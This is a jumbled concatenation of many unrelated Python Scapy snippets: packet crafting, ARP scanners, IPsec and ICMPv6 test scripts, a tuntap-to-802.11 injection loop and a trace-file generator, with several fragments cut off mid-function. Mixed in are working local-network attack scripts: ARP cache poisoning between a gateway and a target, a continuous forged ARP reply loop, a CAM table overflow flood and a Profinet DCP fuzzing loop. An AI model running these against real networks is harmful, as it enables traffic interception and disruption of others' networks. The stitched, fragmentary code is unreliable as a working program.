if VERB:
os.write(1,"%s\n" % eth_rcvd_frame.summary())
# Prepare Dot11 frame for injection
dot11_sent_frame = RadioTap()/Dot11(
type = "Data",
FCfield = "from-DS",
addr1 = eth_rcvd_frame.getlayer(Ether).dst,
addr2 = BSSID)
# It doesn't seem possible to set tuntap interface MAC address
# when we create it, so we set source MAC here
if not HAS_SMAC:
def render(self, eventid):
""" render a specific eventid """
event = self.timeline[eventid]
pkts = []
#get the payload
hasPayload = False
payload = ""
total_payload = self.render_payload(event)
if len(total_payload) > 0:
hasPayload = True
# 0-len payloads are OK, but only if no payload at beginning of render()
# +-len payloads are OK, but dont get processed if they are zero-sized
hasIterated = False
while ((len(total_payload) > 0 and hasPayload == True)
or (hasPayload == False and hasIterated == False)):
hasIterated = True
if (hasPayload == True):
#we have a payload and we are using TCP; observe the MSS
if (len(total_payload) > self.tcp_mss
and self.proto == Flow.PROTO_TCP):
payload = total_payload[:self.tcp_mss]
total_payload = total_payload[self.tcp_mss:]
else:
payload = total_payload
total_payload = ""
#figure out what the src/dst port and host are
if (event['flow'] == Flow.FLOW_TO_SERVER):
#preserve src/dst
src_host = self.src_host
src_port = int(self.src_port)
src_mac = self.src_mac
dst_host = self.dst_host
dst_port = int(self.dst_port)
dst_mac = self.dst_mac
#use the clients seq/ack
self.tcp_server_bytes = self.tcp_server_bytes + len(payload)
tcp_seq = self.to_server_seq
tcp_ack = self.to_server_ack
logging.debug("*** Flow %s --> S:%s A:%s B:%s", self.name,
tcp_seq, tcp_ack, self.tcp_server_bytes)
logging.debug("*** %s", self.timeline[eventid])
#nooooooooooo
if (len(payload) > 0):
#set tcp ack to last ack
tcp_ack = self.to_client_seq
else:
#reverse src/dst
src_host = self.dst_host
src_port = int(self.dst_port)
src_mac = self.dst_mac
dst_host = self.src_host
dst_port = int(self.src_port)
dst_mac = self.src_mac
#use the servers seq/ack
self.tcp_client_bytes = self.tcp_client_bytes + len(payload)
tcp_seq = self.to_client_seq
tcp_ack = self.to_client_ack
logging.debug("*** Flow %s <-- S:%s A:%s B:%s", self.name,
tcp_seq, tcp_ack, self.tcp_client_bytes)
logging.debug("*** %s", self.timeline[eventid])
if (len(payload) > 0):
tcp_ack = self.to_server_seq
pkt = None
logging.debug("SRC host: %s", src_host)
logging.debug("DST host: %s", dst_host)
lyr_ip = IP(src=src_host, dst=dst_host)
lyr_eth = Ether(src=src_mac, dst=dst_mac)
if (self.proto == Flow.PROTO_UDP):
#generate udp packet
lyr_udp = UDP(sport=src_port, dport=dst_port) / payload
pkt = lyr_eth / lyr_ip / lyr_udp
pkts.append(pkt)
else:
#generate tcp packet
logging.debug("TCP Packet")
#handle SEQ
if 'tcp.seq' in event['attributes']:
logging.debug("tcp.seq has been set manually")
tcp_seq = event['attributes']['tcp.seq']
if (type(tcp_seq) == str):
tcp_seq = int(tcp_seq)
if 'tcp.ack' in event['attributes']:
logging.debug("tcp.ack has been set manually")
tcp_ack = event['attributes']['tcp.ack']
if (type(tcp_ack) == str):
tcp_ack = int(tcp_ack)
#check for tcp flags
if 'tcp.flags.syn' in event['attributes']:
flags = "S"
elif 'tcp.flags.ack' in event['attributes']:
flags = 'A'
elif 'tcp.flags.synack' in event['attributes']:
flags = 'SA'
elif 'tcp.flags.rst' in event['attributes']:
flags = 'R'
#implied noack
event['attributes']['tcp.noack'] = True
else:
flags = 'PA'
logging.debug('Data packet with inferred flags S:%s A:%s',
tcp_seq, tcp_ack)
lyr_tcp = TCP(flags=flags,
seq=tcp_seq,
ack=tcp_ack,
sport=src_port,
dport=dst_port) / payload
pkt = lyr_eth / lyr_ip / lyr_tcp
pkts.append(pkt)
# if (event['flow'] == Flow.FLOW_TO_CLIENT):
# #if flow is to the client, don't increment the PSH ACK, increment the following ack..
# #increment the SEQ based on payload size
# self.tcp_seq = self.tcp_ack
# self.tck_ack = self.tcp_ack + len(payload)
logging.debug("Payload size is: %s" % len(payload))
logging.debug("tcp_seq is %s" % tcp_seq)
logging.debug("tcp_ack is %s" % tcp_ack)
payload_size = len(payload)
logging.debug("Moving to ACKnowledgement stage")
#send an ACK
if (event['flow'] == Flow.FLOW_TO_CLIENT):
logging.debug('SERVER requires ACK: Flow is TO_CLIENT')
#flow is SERVER -> CLIENT. Use SERVERs TCP SEQ #s
logging.debug("self.to_client_seq %s" % self.to_client_seq)
logging.debug("self.to_client_ack %s" % self.to_client_ack)
logging.debug("len payload %s" % len(payload))
tcp_seq = tcp_ack
tcp_ack = self.to_client_seq + len(payload)
self.to_client_ack = self.to_client_seq + len(payload)
self.to_client_seq = self.to_client_ack
#trying to fix this:
#tcp_ack = self.to_client_seq + len(payload)
#tcp_seq = self.to_client_ack
#self.to_client_ack = self.to_client_seq + len(payload)
#self.to_client_seq = self.to_client_ack
#previously commented out
#self.tcp_server_bytes = self.tcp_server_bytes + len(payload)
#self.to_server_ack = self.to_server_seq + len(payload)
#tcp_seq = self.to_server_ack
#tcp_seq = self.to_client_seq #None
#tcp_ack = self.to_client_ack
else:
logging.debug('CLIENT requires ACK: Flow is TO_SERVER')
#self.tcp_client_bytes = self.tcp_client_bytes + len(payload)
tmp_ack = self.to_server_seq
tmp_seq = self.to_server_ack
#tcp_ack = self.to_server_seq #None
#tcp_seq = self.to_server_ack #reversed
tcp_seq = tcp_ack
tcp_ack = tmp_ack + payload_size
self.to_server_ack = self.to_server_seq + payload_size
self.to_server_seq = self.to_server_ack
if 'tcp.noack' not in event['attributes']:
logging.debug('INFERRED ACK: S:%s A:%s', tcp_seq, tcp_ack)
lyr_eth = Ether(src=dst_mac, dst=src_mac)
lyr_ip = IP(src=dst_host, dst=src_host)
lyr_tcp = TCP(sport=dst_port,
dport=src_port,
flags='A',
seq=tcp_seq,
ack=tcp_ack)
pkt = lyr_eth / lyr_ip / lyr_tcp
pkts.append(pkt)
logging.debug("*** End Render Flow")
logging.debug("**Flow State Table **")
logging.debug("to_server S: %s A: %s", self.to_server_seq,
self.to_server_ack)
logging.debug("to_client S: %s A: %s", self.to_client_seq,
self.to_client_ack)
logging.debug("*********************\n\n")
#print hexdump(pkt)
return pkts
def get_cbr0_ip_mac(self):
config = get_config()
res = srp1(Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(),
verbose=0,
timeout=config.network_timeout)
return res[IP].src, res.src
def main():
"""Send and receive IPsec packet."""
args = TrafficScriptArg([
'src_mac', 'dst_mac', 'src_ip', 'dst_ip', 'crypto_alg', 'crypto_key',
'integ_alg', 'integ_key', 'l_spi', 'r_spi'
], ['src_tun', 'dst_tun'])
rxq = RxQueue(args.get_arg('rx_if'))
txq = TxQueue(args.get_arg('tx_if'))
src_mac = args.get_arg('src_mac')
dst_mac = args.get_arg('dst_mac')
src_ip = args.get_arg('src_ip')
dst_ip = args.get_arg('dst_ip')
crypto_alg = args.get_arg('crypto_alg')
crypto_key = args.get_arg('crypto_key')
integ_alg = args.get_arg('integ_alg')
integ_key = args.get_arg('integ_key')
l_spi = int(args.get_arg('l_spi'))
r_spi = int(args.get_arg('r_spi'))
src_tun = args.get_arg('src_tun')
dst_tun = args.get_arg('dst_tun')
is_ipv4 = True
if 6 == ip_address(unicode(src_ip)).version:
is_ipv4 = False
tunnel_out = None
tunnel_in = None
if src_tun and dst_tun:
if is_ipv4:
tunnel_out = IP(src=src_tun, dst=dst_tun)
tunnel_in = IP(src=dst_tun, dst=src_tun)
else:
tunnel_out = IPv6(src=src_tun, dst=dst_tun)
tunnel_in = IPv6(src=dst_tun, dst=src_tun)
else:
src_tun = src_ip
dst_tun = dst_ip
sa_in = SecurityAssociation(ESP,
spi=r_spi,
crypt_algo=crypto_alg,
crypt_key=crypto_key,
auth_algo=integ_alg,
auth_key=integ_key,
tunnel_header=tunnel_in)
sa_out = SecurityAssociation(ESP,
spi=l_spi,
crypt_algo=crypto_alg,
crypt_key=crypto_key,
auth_algo=integ_alg,
auth_key=integ_key,
tunnel_header=tunnel_out)
sent_packets = []
if is_ipv4:
ip_pkt = IP(src=src_ip, dst=dst_ip) / \
ICMP()
ip_pkt = IP(str(ip_pkt))
else:
ip_pkt = IPv6(src=src_ip, dst=dst_ip) / \
ICMPv6EchoRequest()
ip_pkt = IPv6(str(ip_pkt))
e_pkt = sa_out.encrypt(ip_pkt)
pkt_send = Ether(src=src_mac, dst=dst_mac) / \
e_pkt
sent_packets.append(pkt_send)
txq.send(pkt_send)
pkt_recv = rxq.recv(2, sent_packets)
if pkt_recv is None:
raise RuntimeError('ESP packet Rx timeout')
if is_ipv4:
check_ipv4(pkt_recv, src_tun, dst_ip, src_ip, sa_in)
else:
check_ipv6(pkt_recv, src_tun, dst_ip, src_ip, sa_in)
sys.exit(0)
def get_mac(ip):
#Returns true mac address of ip
#Throws IndexError if blocked
p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=ip)
result = srp(p, timeout=3, verbose=False)[0]
return result[0][1].hwsrc
def main():
args = TrafficScriptArg(['src_mac', 'dst_mac', 'src_ip', 'dst_ip'])
rxq = RxQueue(args.get_arg('rx_if'))
txq = TxQueue(args.get_arg('tx_if'))
src_mac = args.get_arg('src_mac')
dst_mac = args.get_arg('dst_mac')
src_ip = args.get_arg('src_ip')
dst_ip = args.get_arg('dst_ip')
sent_packets = []
# send ICMPv6 neighbor solicitation message
pkt_send = (Ether(src=src_mac, dst='ff:ff:ff:ff:ff:ff') /
IPv6(src=src_ip, dst='ff02::1:ff00:2') /
ICMPv6ND_NS(tgt=dst_ip) / ICMPv6NDOptSrcLLAddr(lladdr=src_mac))
sent_packets.append(pkt_send)
txq.send(pkt_send)
# receive ICMPv6 neighbor advertisement message
ether = rxq.recv(2, sent_packets)
if ether is None:
raise RuntimeError('ICMPv6 echo reply Rx timeout')
if not ether.haslayer(IPv6):
raise RuntimeError(
'Unexpected packet with no IPv6 received {0}'.format(
ether.__repr__()))
ipv6 = ether['IPv6']
if not ipv6.haslayer(ICMPv6ND_NA):
raise RuntimeError(
'Unexpected packet with no ICMPv6 ND-NA received {0}'.format(
ipv6.__repr__()))
icmpv6_na = ipv6['ICMPv6 Neighbor Discovery - Neighbor Advertisement']
# verify target address
if icmpv6_na.tgt != dst_ip:
raise RuntimeError('Invalid target address {0} should be {1}'.format(
icmpv6_na.tgt, dst_ip))
if not icmpv6_na.haslayer(ICMPv6NDOptDstLLAddr):
raise RuntimeError(
'Missing Destination Link-Layer Address option in ICMPv6 ' +
'Neighbor Advertisement {0}'.format(icmpv6_na.__repr__()))
option = 'ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address'
dst_ll_addr = icmpv6_na[option]
# verify destination link-layer address field
if dst_ll_addr.lladdr != dst_mac:
raise RuntimeError('Invalid lladdr {0} should be {1}'.format(
dst_ll_addr.lladdr, dst_mac))
# verify checksum
cksum = icmpv6_na.cksum
del icmpv6_na.cksum
tmp = ICMPv6ND_NA(str(icmpv6_na))
if not checksum_equal(tmp.cksum, cksum):
raise RuntimeError('Invalid checksum {0} should be {1}'.format(
cksum, tmp.cksum))
sys.exit(0)
# Load specific modules from scapy
try:
from scapy.all import srp,Ether,ARP,conf,get_if_hwaddr
except:
print "please install scapy (correctly) first"
exit(1)
# Use valid hwaddr, even if the NIC is not up
macaddress=get_if_hwaddr(sys.argv[2])
# Set to False if you would like to only have the "CSV" output to console
debug = True
# Select output type to console
if debug:
conf.verb=4
else:
conf.verb=0
# Send to Ether.dst broadcast, from our MAC (both Ether.src and ARP.hwsrc),
# to ARP.hwdst broadcast from IP ARP.psrc 0.0.0.0
# looking from all IP's in given range
ans,unans=srp(Ether(src=macaddress,dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=macaddress,hwdst="00:00:00:00:00:00",psrc="0.0.0.0",pdst=sys.argv[1]),
timeout=2,iface=str(sys.argv[2]),inter=0.1)
# Output MAC and IP addresses from answers seen
print "MAC,IP"
for snd,rcv in ans:
print rcv.sprintf("%Ether.src%,%ARP.psrc%")
def create_file():
"""Create a file with random trace data."""
# open file
f = open('random.file', 'wb')
# accumulate number of bytes written to file
size = 0
for i in range(N_PKTS):
# generate ethernet frame with random payload
pkt = Ether(src="53:00:00:00:00:01", dst="53:00:00:00:00:02")
pkt /= ''.join(
chr(random.randint(0, 127))
for _ in range(random.randint(50, 100)))
# determine wire length and a random snap length (at least 14 bytes so
# ethernet header is included)
meta_len_wire = len(pkt)
meta_len_snap = random.randint(14, len(pkt))
# determine a random inter-packet time in cycles
meta_delta_t = random.randint(0, 2**32 - 1)
# assemble meta data word
meta = meta_delta_t
meta |= meta_len_snap << 32
meta |= meta_len_wire << 48
# write meta data word to file (aligned to 8 byte)
f.write(meta.to_bytes(8, byteorder='little'))
size += 8
# calculate how many 8 byte data words we need to store the snap data
if meta_len_snap % 8 == 0:
n = int(meta_len_snap / 8)
else:
n = int(meta_len_snap / 8) + 1
# convert packet to bytes
pkt = bytes(pkt)
# write snap data (aligned to 8 byte boundary)
for i in range(n):
data_len = min(8, len(pkt))
data_len = min(data_len, meta_len_snap - i * 8)
data = pkt[0:data_len]
pkt = pkt[data_len:]
while data_len < 8:
data += b'\x00'
data_len += 1
f.write(data)
size += 8
# file size must be a multiple of 64 byte. if file size is not multiple
# of 64 bytes, we must append an 8 byte data word where all bits are
# set to one (this signals the end of trace data). if more 8 byte words
# need to be appended to reach 64 byte alignment, their value can be
# arbitrarily selected
if size % 64 != 0:
f.write((2**64 - 1).to_bytes(8, byteorder='little'))
size += 8
while size % 64 != 0:
f.write(b'\x00')
size += 1
# close file
f.close()
""" A very basic script to send a DHCP Discover message. Capture the packages to see what's wrong. """ import scapy from scapy.sendrecv import sendp, sniff from scapy.all import DHCP, ARP, BOOTP, Ether, UDP, TCP, IP # data link layer ethernet = Ether() ethernet.show() ethernet.dst = "ff:ff:ff:ff:ff:ff" # network layer ip = IP() ip.show() ip.dst = "255.255.255.255" # transport layer udp = UDP() udp.show() udp.sport = 68 udp.dport = 67 # application layer bootp = BOOTP() bootp.show() bootp.flags = 1 dhcp = DHCP() dhcp.show()
def _get_mac_address(self, ip):
arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=ip)
received = srp(arpbroadcast, timeout=3)
return received[0][0][1].hwsrc
# Copyright (c) 2014 Robert Clipsham <*****@*****.**> # # Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or # http://www.apache.org/licenses/LICENSE-2.0> or the MIT license # <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your # option. This file may not be copied, modified, or distributed # except according to those terms. import sys from scapy.all import Ether, IP, UDP, Padding, sendp iface = sys.argv[1] dst = sys.argv[2] ether = Ether(dst = dst, type = 0x0800) ip = IP(ttl = 4, proto = 17, src = '127.0.0.1', dst = '127.0.0.1') udp = UDP(sport = 1234, dport = 1234) # pad to 64 bytes pad = Padding(load = '\0' * 17) sendp(ether / ip / udp / "pymsg" / pad, iface = iface, loop=1)
def make_packet(srcip, payload): ether = Ether(dst=get_if_hwaddr(dst_if)) ip = IP(src=srcip, dst='10.10.0.200') udp = UDP(sport=6789, dport=1234) pkt = ether / ip / udp / payload return pkt
import json
from scapy.all import srp, Ether, ARP, conf
try:
interface = raw_input("[*] Enter Interface: ")
ips = raw_input("[*] Enter IP Range: ")
except KeyboardInterrupt:
print "\n [!] Shutdown"
sys.exit(1)
print "\n[+] Scanning ..."
start_time = datetime.now()
conf.verb = 0
ans, uans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ips),
timeout=2,
iface=interface,
inter=0.1)
macs = []
for snd, rcv in ans:
mac = []
mac.append(rcv.sprintf(r"%Ether.src%"))
mac.append(rcv.sprintf(r"%ARP.psrc%"))
macs.append(mac)
#print rcv.sprintf(r"%Ether.src% - %ARP.psrc%")
for mac in macs:
api_mac = mac[0].replace(":", "-")
def get_mac(ip_addr):
ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_addr),
timeout=3,
verbose=0)
if ans:
return ans[0][1].src
parser.add_argument('-v', type=str, help="Specify using (4)IPv4/(6)IPv6.")
parser.add_argument('--ip', type=str, help="The destination IP address.")
parser.add_argument('--msg', type=str, help="The message which will send to dst.",default="Hello World")
parser.add_argument('--sip_callee', type=str, help="[SIP] Callee Name.", default="bob")
parser.add_argument('--sip_caller', type=str, help="[SIP] Caller Name", default="kevin")
parser.add_argument('--sip_callid', type=str, help="[SIP] CallID", default="1234567891")
args = parser.parse_args()
addr = socket.gethostbyname(args.ip)
iface = get_if()
# start to pack
if args.v is "4":
print "sending on interface {} to IP addr {}".format(iface, str(addr))
pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
pkt = pkt / IP(dst=addr) / TCP(dport=1234, sport=random.randint(49152,65535)) / args.msg
# show
pkt.show2()
# send
sendp(pkt, iface=iface, verbose=False)
elif args.v is "6":
print "sending on interface {} to IPv6 addr {}".format(iface, str(addr))
pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
pkt = pkt / IPv6(dst=addr) / TCP(dport=1234, sport=random.randint(49152,65535)) / args.msg
# show
pkt.show2()
# send
sendp(pkt, iface=iface, verbose=False)
elif args.v is "sip-reg":
# SIP Register
def __iter__(self):
return self
def next(self):
if self.num_pkts <= 0:
raise StopIteration
self.num_pkts -= 1
if self.current == self.bsize:
self.current = 1
return random.randint(self.imin, self.imax)
else:
self.current += 1
return self.bdelay
pkt = Ether() / IP(dst='10.0.0.1', ttl=64) / TCP()
port_map = {1: "veth3", 2: "veth5", 3: "veth7"}
iface_map = {}
for p, i in port_map.items():
iface_map[i] = p
queue.add_iface("veth3")
queue.add_iface("veth5")
for p, iface in port_map.items():
t = SnifferThread(iface)
t.daemon = True
t.start()
import sys
if len(sys.argv) != 2:
print("Usage:arpPing<IP>\n eg: arpPing 192.168.31.48")
sys.exit(1)
from scapy.all import srp, Ether, ARP
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=sys.argv[1]),
timeout=2)
for snd, rcv in ans:
print("Target is alive")
print(rcv.sprintf("%Ether.src% - %ARP.psrc%"))
# Cyclops is intended for accademic purpose and it is not justified to be used for malicious intent.
# Using cyclops in public will be easily detected by the network administrator and pin-pointed to you.
#
#
# Author : Fadhli Zakiy
# Web : https://fadhlizakiy.com/
# 2021-02-24
# Loading library
from scapy.all import ARP, IP, Ether, srp, arping, conf as scapyConf, send as sendPacket
from flask import Flask, jsonify, request
from flask_cors import CORS, cross_origin
# get your own IP, Mac and Gateway
myIP = IP().src
myMac = Ether().src
gateIP = scapyConf.route.route("0.0.0.0")[2]
# initialize flask and CORS to enable cross domain request
app = Flask(__name__)
CORS(app, support_credentials=True)
# restore state
restoreState = 1
# GET /
# binding home
@app.route('/')
def hello_world():
return "Test flask"
# Bharath(github.com/yamakira) # Matt Kijowski(github.com/mkijowski) # Perform CAM overflow attack on tap0 interface #!/usr/bin/env python from scapy.all import Ether, IP, TCP, RandIP, RandMAC, sendp # initializing packet_list to hold all the packets packet_list = [] # generate a bunch of random mac addresses and IP addresses for i in xrange(1,10000): packet = Ether(src = RandMAC(),dst= RandMAC())/IP(src=RandIP(),dst=RandIP()) packet_list.append(packet) # send our bad packets on tap0 sendp(packet_list, iface='tap0')
print "Interface %s created. Configure it and use it" % ifname
# Speed optimization si Scapy does not have to parse payloads
Ether.payload_guess = []
SNAP.payload_guess = []
try:
while 1:
r = select([f, s], [], [])[0]
# frame from /dev/net/tun
if f in r:
# tuntap frame max. size is 1522 (ethernet, see RFC3580) + 4
buf = os.read(f, 1526)
eth_rcvd_frame = Ether(buf[4:])
if DEBUG:
os.write(1, "Received from %s\n" % ifname)
if VERB:
os.write(1, "%s\n" % eth_rcvd_frame.summary())
# Prepare Dot11 frame for injection
dot11_sent_frame = RadioTap() / Dot11(
type="Data",
FCfield="from-DS",
addr1=eth_rcvd_frame.getlayer(Ether).dst,
addr2=BSSID)
# It doesn't seem possible to set tuntap interface MAC address
# when we create it, so we set source MAC here
if not HAS_SMAC:
p = None
try:
block_len = 0 # 0 - random len
if packet_with_00 and not p:
packet_with_00 = 0
p = DCPSetPacket(option, suboption, block_len=block_len, check='00')
elif packet_with_ff and not p:
packet_with_ff = 0
p = DCPSetPacket(option, suboption, block_len=block_len, check='ff')
else:
p = DCPSetPacket(option, suboption, block_len=block_len)
p.prepare_packet()
payload = p.get_full_hex_payload()
fh_log.write("request : %s\n" % payload)
pp = Ether(type=0x8892, src=src_mac, dst=dst_mac)/payload.decode('hex')
ans, unans = srp(pp, timeout=cfg_sniff_time)
response = 'NO RESPONSE'
answer_code = -1
if ans:
response = hexlify(ans[0][1].load)
answer_code = int(response[36:38])
else:
fh_err.write("%s\nresponse: %s\n" % (info_text, str(ans)))
fh_log.write("response: %s\n" % response)
if answer_code != -1:
answer_text = dcp_answers.has_key(answer_code) and dcp_answers[answer_code] or 'answer unknown'
fh_log.write("answer code: %02x, text: %s\n" % (answer_code, answer_text))
except:
fh_log.write("error: %s\n" % str(sys.exc_info()))
fh_log.write('\n')
from scapy.all import ARP, Ether, sendp
import sys
import time
gatewayIP = sys.argv[1]
targetIP = sys.argv[2]
gatewayMAC = sys.argv[3]
targetMAC = sys.argv[4]
mode = sys.argv[5]
# mode = 0 means start attack, mode = 1 means stop attack
if mode == "0":
while (1):
# scapy will automatically set src of the Ether layer to be our MAC address
sendp(Ether(dst=gatewayMAC)/ARP(psrc=targetIP, pdst=gatewayIP))
sendp(Ether(dst=targetMAC)/ARP(psrc=gatewayIP, pdst=targetIP))
time.sleep(1)
else:
for i in range(5):
sendp(Ether(dst=gatewayMAC, src=targetMAC)/ARP(psrc=targetIP, pdst=gatewayIP))
sendp(Ether(dst=targetMAC, src=gatewayMAC)/ARP(psrc=gatewayIP, pdst=targetIP))
from scapy.all import Ether, ARP, srp
if __name__ == "__main__":
broadcast = "FF:FF:FF:FF:FF:FF"
ether_layer = Ether(dst=broadcast)
ip_range = "192.168.74.1/24"
arp_layer = ARP(pdst=ip_range)
packet = ether_layer / arp_layer
ans, unans = srp(packet, iface="eth0", timeout=2)
for snd, rcv in ans:
ip = rcv[ARP].psrc
mac = rcv[Ether].src
print("IP = ", ip, " MAC = ", mac)
import time
from scapy.all import sendp, ARP, Ether
iface = 'en0'
target_ip = '192.168.2.220'
fake_ip = '192.168.1.41'
ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op='is-at')
packet = ethernet / arp
while True:
sendp(packet, iface=iface)
# time.sleep(1)
#*** Must have 7 parameters passed to it (first parameter is script)
assert len(sys.argv) == 8
#*** Get parameters from command line
SRC_MAC = sys.argv[1]
DST_MAC = sys.argv[2]
SRC_IP = sys.argv[3]
DST_IP = sys.argv[4]
IF_NAME = sys.argv[5]
REPEAT_INTERVAL = float(sys.argv[6])
REPEAT_COUNT = int(sys.argv[7])
data = "blahblahblah"
# define ip and icmp
eth = Ether()
eth.src=SRC_MAC
eth.dst=DST_MAC
ip = IP()
ip.src = SRC_IP
ip.dst = DST_IP
icmp = ICMP()
icmp.type = 8
icmp.code = 0
finished = 0
count = 0
while not finished:
sendp(eth/ip/icmp/data, iface=IF_NAME)
time.sleep(REPEAT_INTERVAL)
count += 1
def main():
"""Send VxLAN-GPE+NSH packet from TG to DUT.
:raises: If the IP address is invalid.
"""
args = TrafficScriptArg([
'src_mac', 'dst_mac', 'src_ip', 'dst_ip', 'timeout', 'framesize',
'testtype'
])
src_mac = args.get_arg('src_mac')
dst_mac = args.get_arg('dst_mac')
src_ip = args.get_arg('src_ip')
dst_ip = args.get_arg('dst_ip')
tx_if = args.get_arg('tx_if')
rx_if = args.get_arg('rx_if')
timeout = int(args.get_arg('timeout'))
frame_size = int(args.get_arg('framesize'))
test_type = args.get_arg('testtype')
rxq = RxQueue(rx_if)
txq = TxQueue(tx_if)
sent_packets = []
protocol = TCP
source_port = sfccon.DEF_SRC_PORT
destination_port = sfccon.DEF_DST_PORT
ip_version = None
if valid_ipv4(src_ip) and valid_ipv4(dst_ip):
ip_version = IP
elif valid_ipv6(src_ip) and valid_ipv6(dst_ip):
ip_version = IPv6
else:
raise ValueError("Invalid IP version!")
innerpkt = (Ether(src=src_mac, dst=dst_mac) /
ip_version(src=src_ip, dst=dst_ip) /
protocol(sport=int(source_port), dport=int(destination_port)))
vxlangpe_nsh = '\x0c\x00\x00\x04\x00\x00\x09\x00\x00\x06' \
'\x01\x03\x00\x00\xb9\xff\xC0\xA8\x32\x4B' \
'\x00\x00\x00\x09\xC0\xA8\x32\x48\x03\x00\x12\xB5'
raw_data = vxlangpe_nsh + str(innerpkt)
pkt_header = (Ether(src=src_mac, dst=dst_mac) /
ip_version(src=src_ip, dst=dst_ip) /
UDP(sport=int(source_port), dport=4790) / Raw(load=raw_data))
fsize_no_fcs = frame_size - 4
pad_len = max(0, fsize_no_fcs - len(pkt_header))
pad_data = "A" * pad_len
pkt_raw = pkt_header / Raw(load=pad_data)
# Send created packet on one interface and receive on the other
sent_packets.append(pkt_raw)
txq.send(pkt_raw)
ether = rxq.recv(2)
if ether is None:
raise RuntimeError("No packet is received!")
# let us begin to check the proxy inbound packet
VerifyPacket.check_the_nsh_sfc_packet(ether, frame_size, test_type)
# we check all the fields about the proxy inbound, this test will pass
sys.exit(0)
def arpRequest(self, ip, output):
mac = self.sw.data_ports[output].intf.MAC()
pkt = Ether(dst='ff:ff:ff:ff:ff:ff', src=mac) / CPUMetadata() / \
ARP(hwlen=6, plen=4, op=ARP_OP_REQ, hwsrc=mac,
psrc=self.sw.data_ports[output].IP(), hwdst='00:00:00:00:00:00', pdst=ip)
self.send(pkt, output)
'''
Created on Jan 19, 2012
@author: art3
'''
from scapy.all import Ether,sniff,sendp
a=Ether()
a.type=0x8088
a.src='cc:52:af:0e:2c:c2'
while True:
print("say something, and be sure to add quotation marks")
data = 'victor says : ' + input()
b=a/data
sendp(b, count=2, iface='wlan0')